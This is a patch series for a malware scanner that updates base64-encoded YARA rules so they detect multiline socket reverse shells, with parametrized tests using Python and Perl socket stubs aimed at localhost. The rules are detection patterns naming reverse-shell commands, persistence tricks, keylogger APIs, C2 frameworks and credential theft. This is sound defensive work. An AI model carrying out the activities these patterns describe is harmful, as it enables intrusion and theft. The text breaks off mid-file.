From ab857e4605fe891de363da3ee0f5d830c3479c7f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Efe=20G=C3=B6kdemir?= Date: Mon, 21 Sep 2026 20:33:42 +0300 Subject: [PATCH 1/2] fix(yara): detect multiline socket reverse shells MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Efe Gökdemir --- src/skillspector/yara_rules/malware.yar.b64 | 151 ++++++++++---------- tests/nodes/analyzers/test_static_yara.py | 23 +++ 2 files changed, 99 insertions(+), 75 deletions(-) diff --git a/src/skillspector/yara_rules/malware.yar.b64 b/src/skillspector/yara_rules/malware.yar.b64 index d0b072f41..4dcd62508 100644 --- a/src/skillspector/yara_rules/malware.yar.b64 +++ b/src/skillspector/yara_rules/malware.yar.b64 @@ -12,78 +12,79 @@ X3JldnNoZWxsICAgID0gL2Jhc2hccystaVxzKz4mXHMqXC9kZXZcL3RjcFwvLyBub2Nhc2UNCiAg ICAgICAgJG5jX3NoZWxsICAgICAgICAgPSAvbmNccy4qLWVccypcL2JpblwvKGJhKT9zaC8gbm9j YXNlDQogICAgICAgICRuY2F0X3NoZWxsICAgICAgID0gL25jYXRccy4qLWVccypcL2JpblwvKGJh KT9zaC8gbm9jYXNlDQogICAgICAgICRweXRob25fc29ja2V0ICAgID0gL3NvY2tldFwuc29ja2V0 -XCguKlNPQ0tfU1RSRUFNLipcLmNvbm5lY3RcKC8NCiAgICAgICAgJHBlcmxfc29ja2V0ICAgICAg -PSAvdXNlXHMrU29ja2V0Oy4qc29ja2V0XHMqXChccypTT0NLLw0KICAgICAgICAkcGhwX2Zzb2Nr -ICAgICAgICA9IC9mc29ja29wZW5ccypcKC4qZXhlY1xzKlwoLyBub2Nhc2UNCiAgICAgICAgJHJ1 -YnlfdGNwc29ja2V0ICAgPSAvVENQU29ja2V0XC5ccypuZXdccypcKC4qZXhlY1xzKlwoLw0KICAg -ICAgICAkcG93ZXJzaGVsbF90Y3AgICA9IC9OZXctT2JqZWN0XHMrU3lzdGVtXC5OZXRcLlNvY2tl -dHNcLlRDUENsaWVudC8gbm9jYXNlDQogICAgICAgICRzb2NhdF9zaGVsbCAgICAgID0gL3NvY2F0 -XHMrLipFWEVDLipcL2JpblwvKGJhKT9zaC8gbm9jYXNlDQogICAgICAgICRta2ZpZm9fc2hlbGwg -ICAgID0gL21rZmlmb1xzKy4qXHxccypcL2JpblwvKGJhKT9zaC8NCiAgICBjb25kaXRpb246DQog -ICAgICAgIGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUgYmFja2Rvb3JfcGVyc2lzdGVuY2UNCnsNCiAg -ICBtZXRhOg0KICAgICAgICBkZXNjcmlwdGlvbiA9ICJCYWNrZG9vciBwZXJzaXN0ZW5jZSB3aXRo -IG1hbGljaW91cyBwYXlsb2FkcyAoc2hlbGwgY29tbWFuZHMsIFNTSCBrZXkgaW5qZWN0aW9uLCBo -aWRkZW4gcm9vdCB1c2VycykiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAg -IHNldmVyaXR5ID0gIkhJR0giDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC43NSINCiAgICAgICAg -cmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHViLmNvbS9OZW8yM3gwL3NpZ25hdHVyZS1iYXNlIg0K -ICAgIHN0cmluZ3M6DQogICAgICAgICRoaWRkZW5fdXNlciAgICAgICA9IC91c2VyYWRkXHMrLiot -b1xzKy11XHMrMC8gbm9jYXNlDQogICAgICAgICRjcm9uX3BlcnNpc3QgICAgICA9IC9jcm9udGFi -XHMuKihjdXJsfHdnZXR8bmN8YmFzaHxweXRob24pLyBub2Nhc2UNCiAgICAgICAgJHNzaF9pbmpl -Y3QgICAgICAgID0gL2VjaG9ccysuKj4+P1xzKi4qXC5zc2hcL2F1dGhvcml6ZWRfa2V5cy8gbm9j -YXNlDQogICAgICAgICRzeXN0ZW1kX3BlcnNpc3QgICA9IC9cW1NlcnZpY2VcXS4qRXhlY1N0YXJ0 -LioobmN8YmFzaHxweXRob258Y3VybCkvIG5vY2FzZQ0KICAgICAgICAkYmFzaHJjX3BlcnNpc3Qg -ICAgPSAvZWNob1xzKy4qPj4/XHMqLipcLmJhc2hyYy8gbm9jYXNlDQogICAgICAgICRwcm9maWxl -X3BlcnNpc3QgICA9IC9lY2hvXHMrLio+Pj9ccyouKlwucHJvZmlsZS8gbm9jYXNlDQogICAgICAg -ICRpbml0X3BlcnNpc3QgICAgICA9IC9cL2V0Y1wvaW5pdFwuZFwvLioobmN8YmFzaHxyZXZlcnNl -KS8gbm9jYXNlDQogICAgICAgICRsZF9wcmVsb2FkICAgICAgICA9IC9MRF9QUkVMT0FELipcLnNv -LyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUg -a2V5bG9nZ2VyX2luZGljYXRvcnMNCnsNCiAgICBtZXRhOg0KICAgICAgICBkZXNjcmlwdGlvbiA9 -ICJLZXlsb2dnZXIgZnVuY3Rpb25hbGl0eSBpbiBzY3JpcHRzIG9yIHNvdXJjZSBjb2RlIg0KICAg -ICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJISUdIIg0KICAg -ICAgICBjb25maWRlbmNlID0gIjAuNyINCiAgICBzdHJpbmdzOg0KICAgICAgICAkcHlucHV0ICAg -ICAgICAgPSAvZnJvbVxzK3B5bnB1dFwua2V5Ym9hcmRccytpbXBvcnQvIG5vY2FzZQ0KICAgICAg -ICAka2V5Ym9hcmRfaG9vayAgPSAva2V5Ym9hcmRcLihvbl9wcmVzc3xob29rfG9uX3JlbGVhc2Up -LyBub2Nhc2UNCiAgICAgICAgJHhpbnB1dF90ZXN0ICAgID0gL3hpbnB1dFxzK3Rlc3QvIG5vY2Fz -ZQ0KICAgICAgICAkbG9na2V5cyAgICAgICAgPSAvbG9na2V5c1xzKy0tc3RhcnQvIG5vY2FzZQ0K -ICAgICAgICAka2V5YmRfZXZlbnQgICAgPSAvKEdldEFzeW5jS2V5U3RhdGV8U2V0V2luZG93c0hv -b2tFeC4qV0hfS0VZQk9BUkQpLyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBv -ZiB0aGVtDQp9DQoNCnJ1bGUgcmFuc29td2FyZV9iZWhhdmlvcg0Kew0KICAgIG1ldGE6DQogICAg -ICAgIGRlc2NyaXB0aW9uID0gIlJhbnNvbXdhcmUtbGlrZSBwYXR0ZXJucyAobWFzcyBlbmNyeXB0 -aW9uLCByYW5zb20gbm90ZXMpIg0KICAgICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAg -ICBzZXZlcml0eSA9ICJDUklUSUNBTCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjgiDQogICAg -c3RyaW5nczoNCiAgICAgICAgJHdhbGtfZW5jcnlwdCAgID0gL29zXC53YWxrXHMqXCguKlwuKGVu -Y3J5cHR8Y2lwaGVyKS8NCiAgICAgICAgJHJhbnNvbV9ub3RlICAgID0gLyh5b3VyXHMrZmlsZXNc -cysoaGF2ZVxzK2JlZW58YXJlKVxzK2VuY3J5cHRlZHxwYXlccysuKmJpdGNvaW58c2VuZFxzKy4q -YnRjKS8gbm9jYXNlDQogICAgICAgICRleHRfcmVuYW1lICAgICA9IC9vc1wucmVuYW1lXHMqXCgu -KlwrXHMqWyciXVwuKGxvY2tlZHxlbmNyeXB0ZWR8Y3J5cHR8ZW5jKVsnIl1ccypcKS8NCiAgICAg -ICAgJG1hc3Nfb3ZlcndyaXRlID0gL29zXC53YWxrXHMqXCguKm9wZW5ccypcKC4qWydcIl13Ylsn -XCJdXCkvDQogICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkgb2YgdGhlbQ0KfQ0KDQpydWxlIGMy -X2ZyYW1ld29ya19pbmRpY2F0b3JzDQp7DQogICAgbWV0YToNCiAgICAgICAgZGVzY3JpcHRpb24g -PSAiQ29tbWFuZC1hbmQtY29udHJvbCBmcmFtZXdvcmsgaW5kaWNhdG9ycyAoQ29iYWx0IFN0cmlr -ZSwgTWV0YXNwbG9pdCwgU2xpdmVyLCBldGMuKSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2Fy -ZSINCiAgICAgICAgc2V2ZXJpdHkgPSAiQ1JJVElDQUwiDQogICAgICAgIGNvbmZpZGVuY2UgPSAi -MC44NSINCiAgICAgICAgcmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHViLmNvbS9OZW8yM3gwL3Np -Z25hdHVyZS1iYXNlIg0KICAgIHN0cmluZ3M6DQogICAgICAgICRjb2JhbHRfc3RyaWtlICA9ICJj -b2JhbHRzdHJpa2UiIG5vY2FzZQ0KICAgICAgICAkbWV0ZXJwcmV0ZXIgICAgPSAibWV0ZXJwcmV0 -ZXIiIG5vY2FzZQ0KICAgICAgICAkbWV0YXNwbG9pdCAgICAgPSAvbWV0YXNwbG9pdC4qKHBheWxv -YWR8ZXhwbG9pdHxzdGFnZXIpLyBub2Nhc2UNCiAgICAgICAgJGVtcGlyZSAgICAgICAgID0gL3Bv -d2Vyc2hlbGwuKmVtcGlyZS8gbm9jYXNlDQogICAgICAgICRzbGl2ZXJfYzIgICAgICA9IC9zbGl2 -ZXIuKihpbXBsYW50fGJlYWNvbnxzZXNzaW9uKS8gbm9jYXNlDQogICAgICAgICRjb3ZlbmFudCAg -ICAgICA9IC9Db3ZlbmFudC4qKEdydW50fExpc3RlbmVyKS8gbm9jYXNlDQogICAgICAgICRoYXZv -Y19jMiAgICAgICA9IC9oYXZvYy4qKGRlbW9ufHRlYW1zZXJ2ZXIpLyBub2Nhc2UNCiAgICAgICAg -JGJlYWNvbl9jb25maWcgID0gLyhCZWFjb25UeXBlfEMyU2VydmVyfFB1YmxpY0tleS4qd2F0ZXJt -YXJrKS8gbm9jYXNlDQogICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkgb2YgdGhlbQ0KfQ0KDQpy -dWxlIGluZm9fc3RlYWxlcg0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIklu -Zm9ybWF0aW9uIHN0ZWFsZXIgcGF0dGVybnMgKGNyZWRlbnRpYWwgaGFydmVzdGluZywgYnJvd3Nl -ciBkYXRhIHRoZWZ0KSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2FyZSINCiAgICAgICAgc2V2 -ZXJpdHkgPSAiSElHSCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjc1Ig0KICAgICAgICByZWZl -cmVuY2UgPSAiaHR0cHM6Ly9naXRodWIuY29tL05lbzIzeDAvc2lnbmF0dXJlLWJhc2UiDQogICAg -c3RyaW5nczoNCiAgICAgICAgJGNocm9tZV9sb2dpbiAgICAgPSAvQ2hyb21lLipMb2dpblxzKkRh -dGEvIG5vY2FzZQ0KICAgICAgICAkZmlyZWZveF9sb2dpbnMgICA9IC9sb2dpbnNcLmpzb24uKmZp -cmVmb3gvIG5vY2FzZQ0KICAgICAgICAkYnJvd3Nlcl9jb29raWVzICA9IC9Db29raWVzLiooY2hy -b21lfGZpcmVmb3h8ZWRnZXxvcGVyYSkvIG5vY2FzZQ0KICAgICAgICAkd2FsbGV0X3N0ZWFsICAg -ICA9IC93YWxsZXRcLmRhdC8gbm9jYXNlDQogICAgICAgICRtaW1pa2F0eiAgICAgICAgID0gIm1p -bWlrYXR6IiBub2Nhc2UNCiAgICAgICAgJGxhemFnbmUgICAgICAgICAgPSAibGF6YWduZSIgbm9j -YXNlDQogICAgICAgICRjcmVkX2R1bXBfc2FtICAgID0gL3JlZ1xzK3NhdmVccysuKlxcc2FtLyBu -b2Nhc2UNCiAgICAgICAgJG50ZHNfZHVtcCAgICAgICAgPSAvbnRkc1wuZGl0LyBub2Nhc2UNCiAg -ICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVtDQp9DQo= +XCguezAsMjAwfVNPQ0tfU1RSRUFNLnswLDIwMH1cLmNvbm5lY3RcKC9zDQogICAgICAgICRwZXJs +X3NvY2tldCAgICAgID0gL3VzZVxzK1NvY2tldDsuezAsMjAwfXNvY2tldFxzKlwoXHMqU09DSy9z +DQogICAgICAgICRwaHBfZnNvY2sgICAgICAgID0gL2Zzb2Nrb3BlblxzKlwoLipleGVjXHMqXCgv +IG5vY2FzZQ0KICAgICAgICAkcnVieV90Y3Bzb2NrZXQgICA9IC9UQ1BTb2NrZXRcLlxzKm5ld1xz +KlwoLipleGVjXHMqXCgvDQogICAgICAgICRwb3dlcnNoZWxsX3RjcCAgID0gL05ldy1PYmplY3Rc +cytTeXN0ZW1cLk5ldFwuU29ja2V0c1wuVENQQ2xpZW50LyBub2Nhc2UNCiAgICAgICAgJHNvY2F0 +X3NoZWxsICAgICAgPSAvc29jYXRccysuKkVYRUMuKlwvYmluXC8oYmEpP3NoLyBub2Nhc2UNCiAg +ICAgICAgJG1rZmlmb19zaGVsbCAgICAgPSAvbWtmaWZvXHMrLipcfFxzKlwvYmluXC8oYmEpP3No +Lw0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSBiYWNrZG9v +cl9wZXJzaXN0ZW5jZQ0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIkJhY2tk +b29yIHBlcnNpc3RlbmNlIHdpdGggbWFsaWNpb3VzIHBheWxvYWRzIChzaGVsbCBjb21tYW5kcywg +U1NIIGtleSBpbmplY3Rpb24sIGhpZGRlbiByb290IHVzZXJzKSINCiAgICAgICAgY2F0ZWdvcnkg +PSAibWFsd2FyZSINCiAgICAgICAgc2V2ZXJpdHkgPSAiSElHSCINCiAgICAgICAgY29uZmlkZW5j +ZSA9ICIwLjc1Ig0KICAgICAgICByZWZlcmVuY2UgPSAiaHR0cHM6Ly9naXRodWIuY29tL05lbzIz +eDAvc2lnbmF0dXJlLWJhc2UiDQogICAgc3RyaW5nczoNCiAgICAgICAgJGhpZGRlbl91c2VyICAg +ICAgID0gL3VzZXJhZGRccysuKi1vXHMrLXVccyswLyBub2Nhc2UNCiAgICAgICAgJGNyb25fcGVy +c2lzdCAgICAgID0gL2Nyb250YWJccy4qKGN1cmx8d2dldHxuY3xiYXNofHB5dGhvbikvIG5vY2Fz +ZQ0KICAgICAgICAkc3NoX2luamVjdCAgICAgICAgPSAvZWNob1xzKy4qPj4/XHMqLipcLnNzaFwv +YXV0aG9yaXplZF9rZXlzLyBub2Nhc2UNCiAgICAgICAgJHN5c3RlbWRfcGVyc2lzdCAgID0gL1xb +U2VydmljZVxdLipFeGVjU3RhcnQuKihuY3xiYXNofHB5dGhvbnxjdXJsKS8gbm9jYXNlDQogICAg +ICAgICRiYXNocmNfcGVyc2lzdCAgICA9IC9lY2hvXHMrLio+Pj9ccyouKlwuYmFzaHJjLyBub2Nh +c2UNCiAgICAgICAgJHByb2ZpbGVfcGVyc2lzdCAgID0gL2VjaG9ccysuKj4+P1xzKi4qXC5wcm9m +aWxlLyBub2Nhc2UNCiAgICAgICAgJGluaXRfcGVyc2lzdCAgICAgID0gL1wvZXRjXC9pbml0XC5k +XC8uKihuY3xiYXNofHJldmVyc2UpLyBub2Nhc2UNCiAgICAgICAgJGxkX3ByZWxvYWQgICAgICAg +ID0gL0xEX1BSRUxPQUQuKlwuc28vIG5vY2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55 +IG9mIHRoZW0NCn0NCg0KcnVsZSBrZXlsb2dnZXJfaW5kaWNhdG9ycw0Kew0KICAgIG1ldGE6DQog +ICAgICAgIGRlc2NyaXB0aW9uID0gIktleWxvZ2dlciBmdW5jdGlvbmFsaXR5IGluIHNjcmlwdHMg +b3Igc291cmNlIGNvZGUiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAgIHNl +dmVyaXR5ID0gIkhJR0giDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC43Ig0KICAgIHN0cmluZ3M6 +DQogICAgICAgICRweW5wdXQgICAgICAgICA9IC9mcm9tXHMrcHlucHV0XC5rZXlib2FyZFxzK2lt +cG9ydC8gbm9jYXNlDQogICAgICAgICRrZXlib2FyZF9ob29rICA9IC9rZXlib2FyZFwuKG9uX3By +ZXNzfGhvb2t8b25fcmVsZWFzZSkvIG5vY2FzZQ0KICAgICAgICAkeGlucHV0X3Rlc3QgICAgPSAv +eGlucHV0XHMrdGVzdC8gbm9jYXNlDQogICAgICAgICRsb2drZXlzICAgICAgICA9IC9sb2drZXlz +XHMrLS1zdGFydC8gbm9jYXNlDQogICAgICAgICRrZXliZF9ldmVudCAgICA9IC8oR2V0QXN5bmNL +ZXlTdGF0ZXxTZXRXaW5kb3dzSG9va0V4LipXSF9LRVlCT0FSRCkvIG5vY2FzZQ0KICAgIGNvbmRp +dGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSByYW5zb213YXJlX2JlaGF2aW9y +DQp7DQogICAgbWV0YToNCiAgICAgICAgZGVzY3JpcHRpb24gPSAiUmFuc29td2FyZS1saWtlIHBh +dHRlcm5zIChtYXNzIGVuY3J5cHRpb24sIHJhbnNvbSBub3RlcykiDQogICAgICAgIGNhdGVnb3J5 +ID0gIm1hbHdhcmUiDQogICAgICAgIHNldmVyaXR5ID0gIkNSSVRJQ0FMIg0KICAgICAgICBjb25m +aWRlbmNlID0gIjAuOCINCiAgICBzdHJpbmdzOg0KICAgICAgICAkd2Fsa19lbmNyeXB0ICAgPSAv +b3NcLndhbGtccypcKC4qXC4oZW5jcnlwdHxjaXBoZXIpLw0KICAgICAgICAkcmFuc29tX25vdGUg +ICAgPSAvKHlvdXJccytmaWxlc1xzKyhoYXZlXHMrYmVlbnxhcmUpXHMrZW5jcnlwdGVkfHBheVxz +Ky4qYml0Y29pbnxzZW5kXHMrLipidGMpLyBub2Nhc2UNCiAgICAgICAgJGV4dF9yZW5hbWUgICAg +ID0gL29zXC5yZW5hbWVccypcKC4qXCtccypbJyJdXC4obG9ja2VkfGVuY3J5cHRlZHxjcnlwdHxl +bmMpWyciXVxzKlwpLw0KICAgICAgICAkbWFzc19vdmVyd3JpdGUgPSAvb3NcLndhbGtccypcKC4q +b3BlblxzKlwoLipbJ1wiXXdiWydcIl1cKS8NCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBv +ZiB0aGVtDQp9DQoNCnJ1bGUgYzJfZnJhbWV3b3JrX2luZGljYXRvcnMNCnsNCiAgICBtZXRhOg0K +ICAgICAgICBkZXNjcmlwdGlvbiA9ICJDb21tYW5kLWFuZC1jb250cm9sIGZyYW1ld29yayBpbmRp +Y2F0b3JzIChDb2JhbHQgU3RyaWtlLCBNZXRhc3Bsb2l0LCBTbGl2ZXIsIGV0Yy4pIg0KICAgICAg +ICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJDUklUSUNBTCINCiAg +ICAgICAgY29uZmlkZW5jZSA9ICIwLjg1Ig0KICAgICAgICByZWZlcmVuY2UgPSAiaHR0cHM6Ly9n +aXRodWIuY29tL05lbzIzeDAvc2lnbmF0dXJlLWJhc2UiDQogICAgc3RyaW5nczoNCiAgICAgICAg +JGNvYmFsdF9zdHJpa2UgID0gImNvYmFsdHN0cmlrZSIgbm9jYXNlDQogICAgICAgICRtZXRlcnBy +ZXRlciAgICA9ICJtZXRlcnByZXRlciIgbm9jYXNlDQogICAgICAgICRtZXRhc3Bsb2l0ICAgICA9 +IC9tZXRhc3Bsb2l0LioocGF5bG9hZHxleHBsb2l0fHN0YWdlcikvIG5vY2FzZQ0KICAgICAgICAk +ZW1waXJlICAgICAgICAgPSAvcG93ZXJzaGVsbC4qZW1waXJlLyBub2Nhc2UNCiAgICAgICAgJHNs +aXZlcl9jMiAgICAgID0gL3NsaXZlci4qKGltcGxhbnR8YmVhY29ufHNlc3Npb24pLyBub2Nhc2UN +CiAgICAgICAgJGNvdmVuYW50ICAgICAgID0gL0NvdmVuYW50LiooR3J1bnR8TGlzdGVuZXIpLyBu +b2Nhc2UNCiAgICAgICAgJGhhdm9jX2MyICAgICAgID0gL2hhdm9jLiooZGVtb258dGVhbXNlcnZl +cikvIG5vY2FzZQ0KICAgICAgICAkYmVhY29uX2NvbmZpZyAgPSAvKEJlYWNvblR5cGV8QzJTZXJ2 +ZXJ8UHVibGljS2V5Lip3YXRlcm1hcmspLyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAg +IGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUgaW5mb19zdGVhbGVyDQp7DQogICAgbWV0YToNCiAgICAg +ICAgZGVzY3JpcHRpb24gPSAiSW5mb3JtYXRpb24gc3RlYWxlciBwYXR0ZXJucyAoY3JlZGVudGlh +bCBoYXJ2ZXN0aW5nLCBicm93c2VyIGRhdGEgdGhlZnQpIg0KICAgICAgICBjYXRlZ29yeSA9ICJt +YWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJISUdIIg0KICAgICAgICBjb25maWRlbmNlID0g +IjAuNzUiDQogICAgICAgIHJlZmVyZW5jZSA9ICJodHRwczovL2dpdGh1Yi5jb20vTmVvMjN4MC9z +aWduYXR1cmUtYmFzZSINCiAgICBzdHJpbmdzOg0KICAgICAgICAkY2hyb21lX2xvZ2luICAgICA9 +IC9DaHJvbWUuKkxvZ2luXHMqRGF0YS8gbm9jYXNlDQogICAgICAgICRmaXJlZm94X2xvZ2lucyAg +ID0gL2xvZ2luc1wuanNvbi4qZmlyZWZveC8gbm9jYXNlDQogICAgICAgICRicm93c2VyX2Nvb2tp +ZXMgID0gL0Nvb2tpZXMuKihjaHJvbWV8ZmlyZWZveHxlZGdlfG9wZXJhKS8gbm9jYXNlDQogICAg +ICAgICR3YWxsZXRfc3RlYWwgICAgID0gL3dhbGxldFwuZGF0LyBub2Nhc2UNCiAgICAgICAgJG1p +bWlrYXR6ICAgICAgICAgPSAibWltaWthdHoiIG5vY2FzZQ0KICAgICAgICAkbGF6YWduZSAgICAg +ICAgICA9ICJsYXphZ25lIiBub2Nhc2UNCiAgICAgICAgJGNyZWRfZHVtcF9zYW0gICAgPSAvcmVn +XHMrc2F2ZVxzKy4qXFxzYW0vIG5vY2FzZQ0KICAgICAgICAkbnRkc19kdW1wICAgICAgICA9IC9u +dGRzXC5kaXQvIG5vY2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0N +Cg== diff --git a/tests/nodes/analyzers/test_static_yara.py b/tests/nodes/analyzers/test_static_yara.py index 9022f2eec..b403c10fc 100644 --- a/tests/nodes/analyzers/test_static_yara.py +++ b/tests/nodes/analyzers/test_static_yara.py @@ -592,6 +592,29 @@ def test_builtin_malware_finding_preserved(self): assert _has_rule(findings, "reverse_shell") assert any(f.rule_id == "YR1" for f in findings) + @pytest.mark.parametrize( + "content", + [ + """ +import socket + +sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +sock.connect((\"127.0.0.1\", 4444)) +""", + """ +use Socket; + +socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname(\"tcp\")); +connect(SOCK, sockaddr_in(4444, inet_aton(\"127.0.0.1\"))); +""", + ], + ids=["python", "perl"], + ) + def test_builtin_malware_finding_covers_multiline_socket_shells(self, content): + findings = _run_builtin(content, "reverse-shell.txt") + + assert _has_rule(findings, "reverse_shell") + def test_extra_rules_still_match_with_builtin_malware_representation(self, tmp_path): _write_rule( tmp_path, From 1a4adf227a41902dd1c30954594f12a343513a04 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Efe=20G=C3=B6kdemir?= Date: Wed, 23 Sep 2026 19:30:22 +0300 Subject: [PATCH 2/2] fix: require shell evidence for socket signatures MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Efe Gökdemir --- src/skillspector/yara_rules/malware.yar.b64 | 163 +++++++++++--------- tests/nodes/analyzers/test_static_yara.py | 16 +- 2 files changed, 102 insertions(+), 77 deletions(-) diff --git a/src/skillspector/yara_rules/malware.yar.b64 b/src/skillspector/yara_rules/malware.yar.b64 index 4dcd62508..59c104a91 100644 --- a/src/skillspector/yara_rules/malware.yar.b64 +++ b/src/skillspector/yara_rules/malware.yar.b64 @@ -12,79 +12,90 @@ X3JldnNoZWxsICAgID0gL2Jhc2hccystaVxzKz4mXHMqXC9kZXZcL3RjcFwvLyBub2Nhc2UNCiAg ICAgICAgJG5jX3NoZWxsICAgICAgICAgPSAvbmNccy4qLWVccypcL2JpblwvKGJhKT9zaC8gbm9j YXNlDQogICAgICAgICRuY2F0X3NoZWxsICAgICAgID0gL25jYXRccy4qLWVccypcL2JpblwvKGJh KT9zaC8gbm9jYXNlDQogICAgICAgICRweXRob25fc29ja2V0ICAgID0gL3NvY2tldFwuc29ja2V0 -XCguezAsMjAwfVNPQ0tfU1RSRUFNLnswLDIwMH1cLmNvbm5lY3RcKC9zDQogICAgICAgICRwZXJs -X3NvY2tldCAgICAgID0gL3VzZVxzK1NvY2tldDsuezAsMjAwfXNvY2tldFxzKlwoXHMqU09DSy9z -DQogICAgICAgICRwaHBfZnNvY2sgICAgICAgID0gL2Zzb2Nrb3BlblxzKlwoLipleGVjXHMqXCgv -IG5vY2FzZQ0KICAgICAgICAkcnVieV90Y3Bzb2NrZXQgICA9IC9UQ1BTb2NrZXRcLlxzKm5ld1xz -KlwoLipleGVjXHMqXCgvDQogICAgICAgICRwb3dlcnNoZWxsX3RjcCAgID0gL05ldy1PYmplY3Rc -cytTeXN0ZW1cLk5ldFwuU29ja2V0c1wuVENQQ2xpZW50LyBub2Nhc2UNCiAgICAgICAgJHNvY2F0 -X3NoZWxsICAgICAgPSAvc29jYXRccysuKkVYRUMuKlwvYmluXC8oYmEpP3NoLyBub2Nhc2UNCiAg -ICAgICAgJG1rZmlmb19zaGVsbCAgICAgPSAvbWtmaWZvXHMrLipcfFxzKlwvYmluXC8oYmEpP3No -Lw0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSBiYWNrZG9v -cl9wZXJzaXN0ZW5jZQ0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIkJhY2tk -b29yIHBlcnNpc3RlbmNlIHdpdGggbWFsaWNpb3VzIHBheWxvYWRzIChzaGVsbCBjb21tYW5kcywg -U1NIIGtleSBpbmplY3Rpb24sIGhpZGRlbiByb290IHVzZXJzKSINCiAgICAgICAgY2F0ZWdvcnkg -PSAibWFsd2FyZSINCiAgICAgICAgc2V2ZXJpdHkgPSAiSElHSCINCiAgICAgICAgY29uZmlkZW5j -ZSA9ICIwLjc1Ig0KICAgICAgICByZWZlcmVuY2UgPSAiaHR0cHM6Ly9naXRodWIuY29tL05lbzIz -eDAvc2lnbmF0dXJlLWJhc2UiDQogICAgc3RyaW5nczoNCiAgICAgICAgJGhpZGRlbl91c2VyICAg -ICAgID0gL3VzZXJhZGRccysuKi1vXHMrLXVccyswLyBub2Nhc2UNCiAgICAgICAgJGNyb25fcGVy -c2lzdCAgICAgID0gL2Nyb250YWJccy4qKGN1cmx8d2dldHxuY3xiYXNofHB5dGhvbikvIG5vY2Fz -ZQ0KICAgICAgICAkc3NoX2luamVjdCAgICAgICAgPSAvZWNob1xzKy4qPj4/XHMqLipcLnNzaFwv -YXV0aG9yaXplZF9rZXlzLyBub2Nhc2UNCiAgICAgICAgJHN5c3RlbWRfcGVyc2lzdCAgID0gL1xb -U2VydmljZVxdLipFeGVjU3RhcnQuKihuY3xiYXNofHB5dGhvbnxjdXJsKS8gbm9jYXNlDQogICAg -ICAgICRiYXNocmNfcGVyc2lzdCAgICA9IC9lY2hvXHMrLio+Pj9ccyouKlwuYmFzaHJjLyBub2Nh -c2UNCiAgICAgICAgJHByb2ZpbGVfcGVyc2lzdCAgID0gL2VjaG9ccysuKj4+P1xzKi4qXC5wcm9m -aWxlLyBub2Nhc2UNCiAgICAgICAgJGluaXRfcGVyc2lzdCAgICAgID0gL1wvZXRjXC9pbml0XC5k -XC8uKihuY3xiYXNofHJldmVyc2UpLyBub2Nhc2UNCiAgICAgICAgJGxkX3ByZWxvYWQgICAgICAg -ID0gL0xEX1BSRUxPQUQuKlwuc28vIG5vY2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55 -IG9mIHRoZW0NCn0NCg0KcnVsZSBrZXlsb2dnZXJfaW5kaWNhdG9ycw0Kew0KICAgIG1ldGE6DQog -ICAgICAgIGRlc2NyaXB0aW9uID0gIktleWxvZ2dlciBmdW5jdGlvbmFsaXR5IGluIHNjcmlwdHMg -b3Igc291cmNlIGNvZGUiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAgIHNl -dmVyaXR5ID0gIkhJR0giDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC43Ig0KICAgIHN0cmluZ3M6 -DQogICAgICAgICRweW5wdXQgICAgICAgICA9IC9mcm9tXHMrcHlucHV0XC5rZXlib2FyZFxzK2lt -cG9ydC8gbm9jYXNlDQogICAgICAgICRrZXlib2FyZF9ob29rICA9IC9rZXlib2FyZFwuKG9uX3By -ZXNzfGhvb2t8b25fcmVsZWFzZSkvIG5vY2FzZQ0KICAgICAgICAkeGlucHV0X3Rlc3QgICAgPSAv -eGlucHV0XHMrdGVzdC8gbm9jYXNlDQogICAgICAgICRsb2drZXlzICAgICAgICA9IC9sb2drZXlz 